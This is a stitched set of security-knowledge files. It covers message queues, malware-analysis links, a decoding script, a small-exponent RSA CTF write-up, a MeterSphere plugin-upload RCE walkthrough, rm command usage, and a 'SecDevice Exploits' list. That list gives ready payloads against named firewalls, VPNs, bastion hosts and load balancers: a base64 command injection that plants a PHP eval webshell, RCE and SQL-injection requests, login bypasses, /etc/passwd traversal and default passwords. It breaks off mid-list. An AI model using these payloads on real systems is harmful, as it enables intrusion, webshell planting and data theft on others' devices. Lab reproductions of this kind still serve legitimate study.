# 消息队列 <!-- GFM-TOC --> * [消息队列](#消息队列) * [一、消息模型](#一消息模型) * [点对点](#点对点) * [发布/订阅](#发布订阅) * [二、使用场景](#二使用场景) * [异步处理](#异步处理) * [流量削锋](#流量削锋) * [应用解耦](#应用解耦) * [三、可靠性](#三可靠性) * [发送端的可靠性](#发送端的可靠性) * [接收端的可靠性](#接收端的可靠性) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、消息模型 ### 点对点 消息生产者向消息队列中发送了一个消息之后,只能被一个消费者消费一次。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191212011250613.png"/> </div><br> ### 发布/订阅 消息生产者向频道发送一个消息之后,多个消费者可以从该频道订阅到这条消息并消费。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191212011410374.png"/> </div><br> 发布与订阅模式和观察者模式有以下不同: - 观察者模式中,观察者和主题都知道对方的存在;而在发布与订阅模式中,生产者与消费者不知道对方的存在,它们之间通过频道进行通信。 - 观察者模式是同步的,当事件触发时,主题会调用观察者的方法,然后等待方法返回;而发布与订阅模式是异步的,生产者向频道发送一个消息之后,就不需要关心消费者何时去订阅这个消息,可以立即返回。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191212011747967.png"/> </div><br> ## 二、使用场景 ### 异步处理 发送者将消息发送给消息队列之后,不需要同步等待消息接收者处理完毕,而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。 例如在注册流程中通常需要发送验证邮件来确保注册用户身份的合法性,可以使用消息队列使发送验证邮件的操作异步处理,用户在填写完注册信息之后就可以完成注册,而将发送验证邮件这一消息发送到消息队列中。 只有在业务流程允许异步处理的情况下才能这么做,例如上面的注册流程中,如果要求用户对验证邮件进行点击之后才能完成注册的话,就不能再使用消息队列。 ### 流量削锋 在高并发的场景下,如果短时间有大量的请求到达会压垮服务器。 可以将请求发送到消息队列中,服务器按照其处理能力从消息队列中订阅消息进行处理。 ### 应用解耦 如果模块之间不直接进行调用,模块之间耦合度就会很低,那么修改一个模块或者新增一个模块对其它模块的影响会很小,从而实现可扩展性。 通过使用消息队列,一个模块只需要向消息队列中发送消息,其它模块可以选择性地从消息队列中订阅消息从而完成调用。 ## 三、可靠性 ### 发送端的可靠性 发送端完成操作后一定能将消息成功发送到消息队列中。 实现方法:在本地数据库建一张消息表,将消息数据与业务数据保存在同一数据库实例里,这样就可以利用本地数据库的事务机制。事务提交成功后,将消息表中的消息转移到消息队列中,若转移消息成功则删除消息表中的数据,否则继续重传。 ### 接收端的可靠性 接收端能够从消息队列成功消费一次消息。 两种实现方法: - 保证接收端处理消息的业务逻辑具有幂等性:只要具有幂等性,那么消费多少次消息,最后处理的结果都是一样的。 - 保证消息具有唯一编号,并使用一张日志表来记录已经消费的消息编号。 ## 参考资料 - [Observer vs Pub-Sub](http://developers-club.com/posts/270339/) - [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
sec-knowleage
# 分析 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **僵尸网络** - [白名单之殇:Specter僵尸网络滥用ClouDNS服务,github.com无辜躺枪](https://mp.weixin.qq.com/s/Wh_8RmPRmk7DhE1LZ6m-zQ) - [一个藏在我们身边的巨型僵尸网络 Pink](https://blog.netlab.360.com/pinkbot/) - [​RobinBot——快速扩张中的新型 DDoS 僵尸网络](https://mp.weixin.qq.com/s/CQgBh46m3aU1ZDs503M8AQ) **威胁分析** - [APT29—觊觎全球情报的国家级黑客组织(中)](https://mp.weixin.qq.com/s/Ln7iBm-Go17CQhIaRNHD0Q) - [Operation(Đường chín đoạn) typhoon:觊觎南海九段线的赛博海莲](https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ) --- ## 分析工具 **相关工具** - [fireeye/capa](https://github.com/fireeye/capa) ### Yara YARA 是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的规则模板(由 virustotal 的软件工程师 Victor M. Alvarezk 开发),使用 YARA 可以基于文本或二进制模式创建恶意软件家族描述信息。 - 项目地址 : https://github.com/VirusTotal/yara - 语法库 : https://yara.readthedocs.io/en/latest/ **相关文章** - [Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本](https://www.anquanke.com/post/id/211501) - [YARA:抗击恶意代码的神兵利器](https://www.freebuf.com/articles/system/26373.html) - [恶意软件模式匹配利器 - YARA](https://www.freebuf.com/articles/96903.html) **辅助工具** - [CERT-Polska/mquery](https://github.com/CERT-Polska/mquery) - YARA恶意软件查询加速器(web前端) - [avast/yari](https://github.com/avast/yari) - 用于辅助调试 YARA 规则的工具 - https://engineering.avast.io/yari-a-new-era-of-yara-debugging/ **规则库** - [InQuest/awesome-yara](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and people. - [bartblaze/Yara-rules](https://github.com/bartblaze/Yara-rules) - Collection of private Yara rules. - [Yara-Rules/rules](https://github.com/Yara-Rules/rules) - Repository of yara rules - [Neo23x0/signature-base](https://github.com/Neo23x0/signature-base) - Signature base for my scanner tools - [elastic/protections-artifacts](https://github.com/elastic/protections-artifacts) - Elastic Security detection content for Endpoint --- ### C2 分析 **相关文章** - [Understanding & Detecting C2 Frameworks — BabyShark](https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845) **cs蓝队反制** - [cs蓝队反制](../安全工具/CobaltStrike.md#蓝队反制) --- ## 样本收集 **样本库** - https://malshare.com/ - [DAS MALWERK // malware samples](https://dasmalwerk.eu/) - [ashishb/android-malware](https://github.com/ashishb/android-malware) - Collection of android malware samples - [HynekPetrak/javascript-malware-collection](https://github.com/HynekPetrak/javascript-malware-collection) - Collection of almost 40.000 javascript malware samples - [ashishb/ios-malware](https://github.com/ashishb/ios-malware) - iOS malware samples **日志** - [sbousseaden/EVTX-ATTACK-SAMPLES](https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES) - Windows 事件攻击日志样本 **流量包** - [SpiderLabs/IOCs-IDPS](https://github.com/SpiderLabs/IOCs-IDPS) - 该存储库将保存与已知恶意软件样本相关的 PCAP IOC 数据 --- ## 样本分析 **相关博客** - http://contagiodump.blogspot.com/ ### linux平台 **相关文章** - [服务器真的没有异常吗?挖矿病毒Skidmap伪造CPU使用率](https://mp.weixin.qq.com/s/oPkhFa4s0Rhg1ypf76hLew) - [Offensive OSINT s01e02 - Deobfuscation & Source code analysis + uncovering CP distribution network](https://www.offensiveosint.io/offensive-osint-s01e02-deobfuscation-source-code-analysis-uncovering-cp-distribution-network/) - [新·8220挖矿团伙样本分析报告](https://mp.weixin.qq.com/s/rvLyvgTHDqGYwq4hVRMcmw) ### Mac平台 **相关文章** - [analyzing WindShift's implant: OSX.WindTail (part 1)](https://objective-see.org/blog/blog_0x3B.html) ### windows平台 **相关文章** - [东欧黑产频繁攻击金融&制造业的态势分析](https://mp.weixin.qq.com/s/mfG2Ra0sRb_vZSzAnTng0A) ### Powershell **相关文章** - [powershell 解码分析の测试(他们说LiqunKit模块插件有后门?)](https://vulsee.com/archives/vulsee_2021/1130_15727.html) - [使用VSCode远程调试恶意Powershell脚本](https://blog.csdn.net/m0_37552052/article/details/108978935) ### 各类钓鱼样本 **相关文章** - [红雨滴云沙箱视角看攻防演练:样本类攻击手法总结](https://mp.weixin.qq.com/s/v4V-hwhCi1nehvwZarCkbA) - [隐秘的角落?红雨滴云沙箱带你揭秘CDN隧道木马](https://mp.weixin.qq.com/s/LGs_gf5CIOaMJMQcIiQCOA) - [攻击技术研判 | 利用Excel默认密码实现静态免杀静态并减少钓鱼步骤](https://mp.weixin.qq.com/s/n7ecBEtVghQEEL162bWqFg) - [攻击技术研判|利用Google Docs的评论功能投递钓鱼链接](https://mp.weixin.qq.com/s/jSlBU9KRnf7Bf70Pq5A81g) - [攻击技术研判 | 近期频发钓鱼新手法:伪造弹出登录窗口进行钓鱼攻击](https://mp.weixin.qq.com/s/xXMZ-5ELVw7YOuKFDg4KMw) - [攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析](https://mp.weixin.qq.com/s/RFS95cjKOs7ck7XKf5dmnA) - [NerbianRAT样本分析报告](https://www.freebuf.com/articles/system/338610.html) - [攻击技术研判 | 后宏时代:PPT鼠标悬停事件的新利用](https://mp.weixin.qq.com/s/ebKhYcPYtClgWk7JkcIYFg) - [实战钓鱼中的html附件利用](https://mp.weixin.qq.com/s/0EGabIYg6fVML0fdPu6n3Q) - [一文洞察攻防演练期间的钓鱼木马手法](https://mp.weixin.qq.com/s/8chNYrstha_dwuClJzyCNA) - [攻击技术研判|钓鱼网站反分析手法升级](https://mp.weixin.qq.com/s/3ywlCNuIFU0kQmbAvrXF8Q) ### Web3 **相关文章** - [A backdoor targeting iOS web3 wallets](https://objective-see.org/blog/blog_0x6F.html)
sec-knowleage
sol = [202, 242, 238, 32, 245, 238, 247, 229, 242, 32, 236, 237, 238, 227, 238, 32, 231, 237, 224, 242, 252, 44, 32, 242, 238, 236, 243, 32, 236, 224, 235, 238, 32, 241, 239, 224, 242, 252, 46, 0] s = open("emulator", "rb").read() s = s[s.find(b"\xd0\x82\x00"):] s = s.split(b"\x00\x00\x00")[0].split(b"\x00") charset = [] for ss in s: try: sss = ss.decode() except: sss = "???" charset.append(sss) def get(c): print(c) if c < 128: return chr(c) else: return charset[c-128] print("".join(get(c) for c in sol))
sec-knowleage
# small Crypto, Easy ## Description > When things are small you have to be carefull! ``` message = int('REDACTED', base=35) N = 31882864753733457706900355195561745936205728163688545344755624355885302677527509480805991969514641856022311950710014654686332759895303124949904557581766107448945073828773339824936328117599459705430379854436444155104737774883908742430619368768337640156577480749932446289330171110268995901030116001751822218657 c = message^3 % N # c = 272712645051843502864020676686837219546440933810920336253597504130258033336636323130656292878088405243095416128 The message is the flag. No flag format. ``` ## Solution This looks like RSA with a small exponent. This is similar to the picoCTF [miniRSA](/2019_picoCTF/miniRSA.md) challenge. We find the cube root of `c` and decode it as base35 (since the message itself was encoded in base35). ```python import gmpy2 n = 31882864753733457706900355195561745936205728163688545344755624355885302677527509480805991969514641856022311950710014654686332759895303124949904557581766107448945073828773339824936328117599459705430379854436444155104737774883908742430619368768337640156577480749932446289330171110268995901030116001751822218657 e = 3 cipher_str = 272712645051843502864020676686837219546440933810920336253597504130258033336636323130656292878088405243095416128 gs = gmpy2.mpz(cipher_str) gm = gmpy2.mpz(n) ge = gmpy2.mpz(e) root, exact = gmpy2.iroot(gs, ge) print root def base35encode(integer): """ Convert from Base10 to Base35. Based on https://en.wikipedia.org/wiki/Base36 """ chars = '0123456789abcdefghijklmnopqrstuvwxy' sign = '-' if integer < 0 else '' integer = abs(integer) result = '' while integer > 0: integer, remainder = divmod(integer, 35) result = chars[remainder] + result return sign + result print base35encode(root) ``` Output: ```console root@kali:/media/sf_CTFs/36c3/small# python 1.py 6484877229948717415163579969767084212 juniorissmallkuchenblech ```
sec-knowleage
# MeterSphere Plugin Endpoint Remote Code Execution [中文版本(Chinese version)](README.zh-cn.md) MeterSphere is a one-stop open source continuous testing platform under the GPL v3 open source license. In the version v1.16.3 and before, MeterSphere's plugin API is unauthenticated and the attackers are able to upload plugins to the server and execute arbitrary code. References: - <https://xz.aliyun.com/t/10772> ## Vulnerable environment Execute following command to start a MeterSphere server v1.16.3: ``` docker compose up -d ``` After the server is fully initialized, you can see the login page of MeterSphere on `http://your-ip:8081`. ## Exploit Firstly, by visiting `http://your-ip:8081/plugin/list`, you can see that the success message is returned without being redirected to the login page, indicating that the plugin API can be accessed without authorization. ![](1.png) Then, you should create a crafted evil plugin. Vulhub prepares a pre-built backdoor jar for it: <https://github.com/vulhub/metersphere-plugin-Backdoor/releases/tag/v1.1.0>. Upload the evil jar plugin to `/plugin/add` interface: ``` POST /plugin/add HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd Content-Length: 11985 ------WebKitFormBoundaryJV2KX1EL5qmKWXsd Content-Disposition: form-data; name="file"; filename="Evil.jar" [Paste your jar file] ------WebKitFormBoundaryJV2KX1EL5qmKWXsd-- ``` ![](2.png) > **Take care of bytes encoding by yourself if you use Burpsuite to send the package.** Althrough there is an error message is respond, the JAR package path is already added into URL classloader which means we can exploit it. Use following request to execute arbitrary command: ``` POST /plugin/customMethod HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/json Content-Length: 89 { "entry": "org.vulhub.Evil", "request": "id" } ``` ![](3.png)
sec-knowleage
rm === 用于删除给定的文件和目录 ## 补充说明 **rm** **命令** 可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。 注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。rm命令可以用-i选项,这个选项在使用文件扩展名字符删除多个文件时特别有用。使用这个选项,系统会要求你逐一确定是否要删除。这时,必须输入y并按Enter键,才能删除文件。如果仅按Enter键或其他字符,文件不会被删除。 ### 语法 ```shell rm (选项)(参数) ``` ### 选项 ```shell -d:直接把欲删除的目录的硬连接数据删除成0,删除该目录; -f:强制删除文件或目录; -i:删除已有文件或目录之前先询问用户; -r或-R:递归处理,将指定目录下的所有文件与子目录一并处理; --preserve-root:不对根目录进行递归操作; -v:显示指令的详细执行过程。 ``` ### 参数 文件:指定被删除的文件列表,如果参数中含有目录,则必须加上`-r`或者`-R`选项。 ### 实例 交互式删除当前目录下的文件test和example ```shell rm -i test example Remove test ?n(不删除文件test) Remove example ?y(删除文件example) ``` 删除当前目录下除隐含文件外的所有文件和子目录 ```shell # rm -r * ``` 应注意,这样做是非常危险的! **删除当前目录下的 package-lock.json 文件** ```shell find . -name "package-lock.json" -exec rm -rf {} \; ``` **查找 *.html 结尾的文件并删除** ```shell find ./docs -name "*.html" -exec rm -rf {} \; ``` **删除当前项目下 *.html 结尾的文件** ```shell rm -rf *.html ``` **删除当前目录下的 node_modules 目录** ```shell find . -name 'node_modules' -type d -prune -exec rm -rf '{}' + ``` **删除文件** ```shell # rm 文件1 文件2 ... rm testfile.txt ``` **删除目录** > rm -r [目录名称] > -r 表示递归地删除目录下的所有文件和目录。 > -f 表示强制删除 ```shell rm -rf testdir rm -r testdir ``` **删除操作前有确认提示** > rm -i [文件/目录] ```shell rm -r -i testdir ``` **批量删除 `icons` 文件夹中的子文件夹中的 data 文件夹** ```shell rm -rf icons/**/data ``` **rm 忽略不存在的文件或目录** > -f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示 ```shell rm -f [文件...] ``` **仅在某些场景下确认删除** > 选项 -I,可保证在删除超过 3 个文件时或递归删除时(LCTT 译注: 如删除目录)仅提示一次确认。 ```shell rm -I file1 file2 file3 ``` **删除根目录** > 当然,删除根目录(/)是 Linux 用户最不想要的操作,这也就是为什么默认 rm 命令不支持在根目录上执行递归删除操作。 > 然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。 ```shell 不给实例了,操作系统都被你删除了,你太坏了😆 ``` **rm 显示当前删除操作的详情** ```shell rm -v [文件/目录] ```
sec-knowleage
# SecDevice - Exploits --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **身份与访问控制** * [堡垒机](#堡垒机) * [齐治堡垒机](#齐治堡垒机) * [H3C SecParh](#h3c-secparh) * [teleport堡垒机](#teleport堡垒机) * [IMC](#img) * [H3C IMC智能管理中心](#h3c-imc智能管理中心) * **网络检测与响应** * [蜜罐](#蜜罐) * [IDS](#ids) * [绿盟 UTS 综合威胁探针](#绿盟-uts-综合威胁探针) * [防火墙](#防火墙) * [Cisco ASA](#cisco-asa) * [网康下一代防火墙](#网康下一代防火墙) * [启明星辰 天清汉马USG防火墙](#启明星辰-天清汉马usg防火墙) * [佑友防火墙](#佑友防火墙) * [zeroshell](#zeroshell) * [Sophos XG](#sophos-xg) * [网关](#网关) * [上海格尔安全认证网关管理系统](#上海格尔安全认证网关管理系统) * [网康 NS-ASG 安全网关](#网康-ns-asg-安全网关) * [负载均衡](#负载均衡) * [Citrix ADC](#citrix-adc) * [F5 BIG-IP](#f5-big-ip) * [天融信 Top-app LB](#天融信-top-app-lb) * [VPN](#vpn) * [Fortigate SSL VPN](#fortigate-ssl-vpn) * [Palo Alto SSL VPN](#palo-alto-ssl-vpn) * [Pulse Secure SSL VPN](#pulse-secure-ssl-vpn) * [深信服 VPN](#深信服-vpn) * [锐捷 SSL VPN](#锐捷-ssl-vpn) * [威胁感知](#威胁感知) * [Sophos UTM](#sophos-utm) * **终端响应与检测** * [杀软](#杀软) * [EDR](#edr) * [深信服 EDR](#深信服-edr) * [360天擎](#360天擎) * [金山 V8 终端安全系统](#金山-v8-终端安全系统) * [数据防泄漏系统](#数据防泄漏系统) * [天融信数据防泄漏系统](#天融信数据防泄漏系统) --- ## 身份与访问控制 ### 堡垒机 #### 齐治堡垒机 > Fofa: app="齐治科技-堡垒机" **默认口令** - shterm/shterm **齐治堡垒机 ShtermClient-2.1.1 命令执行漏洞** - [齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析](https://www.cnblogs.com/StudyCat/p/11201725.html) ``` http://10.20.10.11/listener/cluster_manage.php https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}" ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}- d|bash`|${IFS}|echo${IFS} /var/www/shterm/resources/qrcode/lbj77.php 密码10086 ``` **CNVD-2019-20835 齐治堡垒机前台远程命令执行漏洞** - [齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析](https://www.cnblogs.com/StudyCat/p/11256944.html) **CNVD-2019-17294 齐治堡垒机后台存在命令执行漏洞** - [齐治堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析](https://www.cnblogs.com/StudyCat/p/11197986.html) **远程代码执行** - POC | Payload | exp ``` POST /shterm/listener/tui_update.php a=["t';import os;os.popen('whoami')#"] ``` **任意用户登录漏洞** - POC | Payload | exp ``` /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm ``` #### H3C SecParh > Fofa: app="H3C-SecPath-运维审计系统" && body="2018" **get_detail_view.php 任意用户登录漏洞** - POC | Payload | exp ``` /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin ``` #### teleport堡垒机 > fofa: app="TELEPORT堡垒机" **相关文章** - [teleport堡垒机审计学习](https://r0fus0d.blog.ffffffff0x.com/post/teleport_case/) - [某开源堡垒机历史漏洞分析](https://xz.aliyun.com/t/11721) **任意用户登录漏洞** - POC | Payload | exp - [teleport 堡垒机任意用户登录漏洞](https://www.o2oxy.cn/4132.html) - [针对某堡垒机漏洞分析(一)](https://forum.butian.net/share/1865) **后台文件读取** - POC | Payload | exp ``` /audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&amp;offset=0 ``` ### IMC #### H3C IMC智能管理中心 **远程代码执行** - [H3C IMC智能管理中心漏洞复现](https://mp.weixin.qq.com/s/Dqk1WB5ABoM5jOgq_vlnPw) --- ## 网络检测与响应 ### 蜜罐 **相关文章** - [【格物实验室】浅谈物联网蜜罐识别方法](http://blog.nsfocus.net/iot-honeypot-1111/) - [红队遇蜜罐 莫慌](https://mp.weixin.qq.com/s/YBge1xjpjQjQ-NoK4kK6RQ) - [浅谈Mysql蜜罐识别](https://mp.weixin.qq.com/s/f30RvhYlB97dXnjzv4_H_Q) - [浅析开源蜜罐识别与全网测绘](https://mp.weixin.qq.com/s/ll-vIoPhBMxYVTKm3UJ8lQ) - [蜜罐建设的一些思考](https://mp.weixin.qq.com/s/_hpJP6bTuoH-3cQtDawGOw) **相关工具** - [BeichenDream/WhetherMysqlSham](https://github.com/BeichenDream/WhetherMysqlSham) - 检测目标 Mysql 数据库是不是蜜罐,获取目标数据库详细信息 - [Monyer/antiHoneypot](https://github.com/Monyer/antiHoneypot) - 一个拦截蜜罐 XSSI 的 Chrome 扩展 - [NS-Sp4ce/MoAn_Honey_Pot_Urls](https://github.com/NS-Sp4ce/MoAn_Honey_Pot_Urls) - X安蜜罐用的一些存在JSonp劫持的API **从蓝队溯源角度出发** - 分析样本 - PC 名称 - 语言 - 常用函数、方法 - 注释习惯、变量名习惯 - 前端漏洞反制 - 浏览器记录、书签、cookie 等 - 验证码、手机号、邮箱 - 攻击时间段 - 后渗透反制 - 钓鱼文件 - ntlm中继 - Rogue MySql Server **从红队角度出发** - 前台 - 不支持正常浏览器,仅老版 IE - 仅支持老版本 flash - 不正常的 JS 文件,js 混淆 - 仅 json 文件, 内含指纹 - XSS、JSONP - 大量网络请求 - 同站同 CMS 不同页面不同时间、CMS 版本 - 任意口令登录? - 要求实名认证、或手机号注册 - 后渗透 - 第二次登录后发现 history 记录全部清空 - 开放了大量端口 - docker 容器且无正常业务数据 - 例如 cat /proc/meminfo 这个命令无论执行多少次得到的内容都是不变的,而这真实的系统中是不可能的。 ### IDS **相关文章** - [IDS逃避技术和对策](https://www.oschina.net/question/12_6140) - [网络层绕过IDS/IPS的一些探索](https://security.tencent.com/index.php/blog/msg/147) #### 绿盟 UTS 综合威胁探针 **管理员任意登录** - POC | Payload | exp - [绿盟UTS综合威胁探针管理员任意登录](https://www.hedysx.com/2612.html) - [【干货】绿盟UTS综合威胁探针管理员任意登录](https://www.hackbug.net/archives/112.html) --- ### 防火墙 #### Cisco ASA > fofa: app="CISCO-ASA-5520" **CVE-2018-0296 Cisco ASA Directory Traversal** - 相关文章 - [CVE-2018-0296 Cisco ASA 拒绝服务漏洞分析](https://www.anquanke.com/post/id/171916) - [Opis błędu CVE-2018-0296 – ominięcie uwierzytelnienia w webinterfejsie Cisco ASA](https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/) - POC | Payload | exp - [yassineaboukir/CVE-2018-0296](https://github.com/yassineaboukir/CVE-2018-0296) - [milo2012/CVE-2018-0296](https://github.com/milo2012/CVE-2018-0296) **CVE-2020-3187 任意文件删除** - POC | Payload | exp - https://packetstormsecurity.com/files/158648/Cisco-Adaptive-Security-Appliance-Software-9.7-Arbitrary-File-Deletion.html **CVE-2020-3452** - 描述 Cisco Adaptive Security Appliance (ASA) 防火墙设备以及 Cisco Firepower Threat Defense (FTD)设备的 WEB 管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞,允许未经身份验证的远程攻击者进行目录遍历攻击并读取目标系统上的敏感文件,此漏洞不能用于获取对 ASA 或 FTD 系统文件或底层操作系统 (OS) 文件的访问,所以只能读取 web 系统目录的文件,比如 webvpn 的配置文件、书签、网络 cookies、部分网络内容和超文本传输协议网址等信息。 该漏洞源于 ASA 和 FTD 的 web 服务接口在处理 HTTP 请求的 URL 时缺乏正确的输入验证,导致攻击者可以在目标设备上查看系统内的任意文件。 注意:当设备配置了 WebVPN 或 AnyConnect 功能,启用 Web 服务时,才会受到该漏洞影响,但是该漏洞不能用于访问 ASA 或 FTD 系统文件或底层操作系统 (OS) 文件。 - 影响 Cisco ASA 设备影响版本: - <9.6.1 - 9.6 < 9.6.4.42 - 9.71 - 9.8 < 9.8.4.20 - 9.9 < 9.9.2.74 - 9.10 < 9.10.1.42 - 9.12 < 9.12.3.12 - 9.13 < 9.13.1.10 - 9.14 < 9.14.1.10 - POC | Payload | exp ``` /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ ``` #### 网康下一代防火墙 > fofa: app="网康科技-下一代防火墙" **网康下一代防火墙 RCE** - POC | Payload | exp ``` POST /directdata/direct/router HTTP/1.1 {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} ``` ``` 访问:https://x.x.x.x/test_test.txt ``` #### 启明星辰 天清汉马USG防火墙 **弱口令** ``` 账号:useradmin 密码:venus.user ``` #### 佑友防火墙 **默认账号密码** ``` User: admin Pass: hicomadmin ``` **后台命令执行漏洞** ``` 系统管理 --> 维护工具 --> Ping 127.0.0.1|cat /etc/passwd ``` #### zeroshell **rce** - POC | Payload | exp - [ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)](https://www.exploit-db.com/exploits/49096) #### Sophos XG **CVE-2020-12271 && CVE-2020-15504** - 相关文章 - [Sophos XG - A Tale of the Unfortunate Re-engineering of an N-Day and the Lucky Find of a 0-Day](https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html) --- ### 网关 #### 上海格尔安全认证网关管理系统 **相关文章** - [上海格尔安全认证网关管理系统命令执行漏洞大礼包](https://php.mengsec.com/bugs/wooyun-2016-0170003.html) - [上海格尔软件安全认证网关命令执行漏洞(无需登录)](https://php.mengsec.com/bugs/wooyun-2016-0169715.html) - [上海格尔软件安全认证网关命令执行漏洞(可批量getshell)](https://php.mengsec.com/bugs/wooyun-2016-0170010.html) #### 网康 NS-ASG 安全网关 > Fofa : 网康 NS-ASG 安全网关 **任意文件读取漏洞** - POC | Payload | exp ``` /admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd ``` --- ### 负载均衡 #### Citrix ADC **默认口令** ``` nsroot/nsroot ``` **CVE-2019-19781 Citrix Gateway/ADC 远程代码执行漏洞** - 相关文章 - [Citrix Gateway/ADC 远程代码执行漏洞分析](https://www.freebuf.com/news/232752.html) - POC | Payload | exp - [trustedsec/cve-2019-19781](https://github.com/trustedsec/cve-2019-19781) - [jas502n/CVE-2019-19781](https://github.com/jas502n/CVE-2019-19781) #### F5 BIG-IP **CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞** - 相关文章 - [CVE-2020-5902——关于;号绕过认证技巧总结](https://mp.weixin.qq.com/s/JnI4f3R5JZqhLFv_fTQ_0A) - [F5 BIG-IP Remote Code Execution Exploit - CVE-2020-5902 | Critical Start](https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/) - POC | Payload | exp - [jas502n/CVE-2020-5902](https://github.com/jas502n/CVE-2020-5902) - [theLSA/f5-bigip-rce-cve-2020-5902](https://github.com/theLSA/f5-bigip-rce-cve-2020-5902) **CVE-2021-22986 F5 BIG-IP RCE** - 相关文章 - [CVE-2021-22986:BIG-IP/BIG-IQ未授权RCE](https://mp.weixin.qq.com/s/-WScu2pgUjvjEqWKt5f19A) - [F5 BIG-IP CVE-2021-22986 验证及利用](https://mp.weixin.qq.com/s/lPTSPB_JMO9DxBaKxF61GA) - POC | Payload | exp - [h4x0r-dz/RCE-Exploit-in-BIG-IP](https://github.com/h4x0r-dz/RCE-Exploit-in-BIG-IP) - [Al1ex/CVE-2021-22986](https://github.com/Al1ex/CVE-2021-22986) **CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞** - 镜像下载 - https://downloads.f5.com/esd/ecc.sv?sw=BIG-IP&pro=big-ip_v15.x&ver=15.1.5&container=15.1.5.1_Virtual-Edition - 相关文章 - [F5 iControl REST Endpoint Authentication Bypass Technical Deep Dive](https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/) - [CVE-2022-1388 F5 BIG-IP iControl REST 处理进程分析与认证绕过漏洞复现](https://mp.weixin.qq.com/s/DR0RGE0lhBjBIF3TbDLhMw) - [F5 BIG-IP本地环境搭建以及CVE-2022-1388复现](https://mp.weixin.qq.com/s/gDXu1WLz3O74c3TqLT7p_g) #### 天融信 Top-app LB **SQL注入漏洞** - POC | Payload | exp - [天融信Top-app LB负载均衡SQL注入漏洞](https://www.hedysx.com/2601.html) ``` POST /acc/clsf/report/datasource.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded t=l&e=0&s=t&l=1&vid=1+union select 1,2,3,4,5,6,7,8,9,substr('a',1,1),11,12,13,14,15,16,17,18,19,20,21,22-- &o=r_Speed&gid=0&lmt=10&asc=false&p=8&lipf=&lipt=&ripf=&ript=&dscp=&proto=&lpf=&lpt=&rpf=&rpt= ``` **未授权** - POC | Payload | exp - [天融信负载均衡TopApp-LB系统无需密码直接登录](https://www.uedbox.com/post/21626/) ``` 登录框 ; ping xxx.dnslog.info; echo ``` **RCE** - POC | Payload | exp - [天融信TopApp-LB负载均衡命令执行漏洞大量设备可被通杀](https://www.uedbox.com/post/22193/) ``` 用户名随意 密码:;id ``` --- ### VPN #### Fortigate SSL VPN > fofa: icon_hash="-404383634" > 